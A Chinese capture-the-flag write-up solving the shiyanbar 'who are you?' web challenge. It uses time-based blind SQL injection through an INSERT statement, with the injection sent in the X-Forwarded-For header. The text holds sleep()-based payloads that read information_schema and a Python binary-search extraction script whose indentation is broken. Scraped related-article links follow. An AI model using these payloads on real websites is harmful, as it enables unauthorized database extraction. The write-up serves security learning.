实验吧——who are you?(insert into注入 二分法 时间盲注)
题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php
根据提示 “我要把攻击我的人都记录db中去!” 猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造

由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个逗号前的数据会到达数据库

经过几次测试,这里除了回显ip外是不会有任何提示的,包括报错注入,所以只能用基于时间的盲注
由于是向数据库储存数据,猜测后台的sql语句如下:insert into ipaddress(ip) values('ip');
提交如下数据 '+sleep(5));#
后台语句便为 insert into ipaddress(ip) values(''+sleep(5));#'); 即为 insert into ipaddress(ip) values(''+sleep(5));
服务器的响应时间为5秒以上就说明sleep()成功执行了

sql中有以下写法
insert into t(name) values(( select case when (1) then sleep(1) else 1 end));
于是构造如下语句
'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );#
sql语句即为
insert into ipaddress(ip) values(''+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );

用二分法写python脚本,我只写的猜解表名的,剩下的改下payload(select flag from flag)即可,另外,实验吧的服务器是真的差,有时候都不给响应的,所以时间盲注得等网速快的时候才能用,不然就改一下sleep的时间。。。
import requests
import re
import time requests=requests.session() strall=[]
strall.append('')
for i in range(33,128):
strall.append(str(i)) #a=isthis(1,'98',">")
def isthis(index,charascii,compare):
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
headers={
'Content-Type': 'application/x-www-form-urlencoded',
"X-Forwarded-For":"'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from({}) ))".format(str(index))+compare+"{} ) then sleep(3) end) );#".format(charascii)
}
print headers['X-Forwarded-For']
t0=time.time()
r=requests.get(url=url,headers=headers)
t=time.time()-t0
if t>3:
return True
else:
return False ans=''
flag=0
for index in range(1,99):
left=0
right=len(strall)
if flag:
break while left<=right:
mid=(left+right)>>1
if isthis(index,strall[mid],">"):
left=mid+1
elif isthis(index,strall[mid],"<"):
right=mid-1
else:
if strall[mid]=='':
flag=1
break
value=chr(int(strall[mid]))
ans+=value
print ans
break print ans raw_input('done')

注意最后flag提交的格式是ctf{xxxx}

实验吧——who are you?(insert into注入 二分法 时间盲注)的更多相关文章
- 依托http-headers的 sql注入和时间盲注
机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...
- 实验吧之【who are you?】(时间盲注)
地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- [sql 注入] insert 报错注入与延时盲注
insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...
- MYSQL注入天书之盲注讲解
Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...
随机推荐
- APPIUM 常用API介绍(3)
1.send_keys send_keys(self, *value): Simulates typing into the element[在元素中模拟输入(开启appium自带的输入法并配置了ap ...
- shell 字符菜单管理
1.创建一个脚本func.sh 脚本如下func2.sh #!/bin/bash function menu(){ title="My Menu" url="www.la ...
- VIJOS-P1292 火车票
JDOJ 1404: VIJOS-P1292 火车票 https://neooj.com/oldoj/problem.php?id=1404 Description 一个铁路线上有n(2< =n ...
- pointnet++的pytorch实现
代码参考:https://blog.csdn.net/weixin_39373480/article/details/88934146 def recognize_all_data(test_area ...
- 【Linux】没有网的情况下如何安装GCC
一:GCC的概述 GCC是编译器集合 GCC是根据文件后缀分类编译的编译器集合 参考文档: https://blog.csdn.net/zl1zl2zl3/article/details/833739 ...
- flask回顾
pip install flask from flask import Flask app = Flask(__name__) # 命令行启动,用manager,访问会变的非常慢 pip instal ...
- 用NABCD法提出靠谱的项目建议
在项目中提出靠谱的建议,一方面能提高项目成功的概率,另一方面锻炼自己能力提升自己在项目中的影响力,所以我们要尽可能抓住机会在项目中提建议.那要如何提出靠谱的建议呢?从需求出发,明确做法和好处,分析竞争 ...
- Linux性能优化实战学习笔记:第七讲
一.进程的状态 1.命令查看 top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 28961 root 20 0 43816 3148 ...
- Linux性能优化实战学习笔记:第二十八讲
一.案例环境描述 1.环境准备 2CPU,4GB内存 预先安装docker sysstat工具 apt install docker.io sysstat nake git 案例总共由三个容器组成: ...
- [LeetCode] 454. 4Sum II 四数之和之二
Given four lists A, B, C, D of integer values, compute how many tuples (i, j, k, l) there are such t ...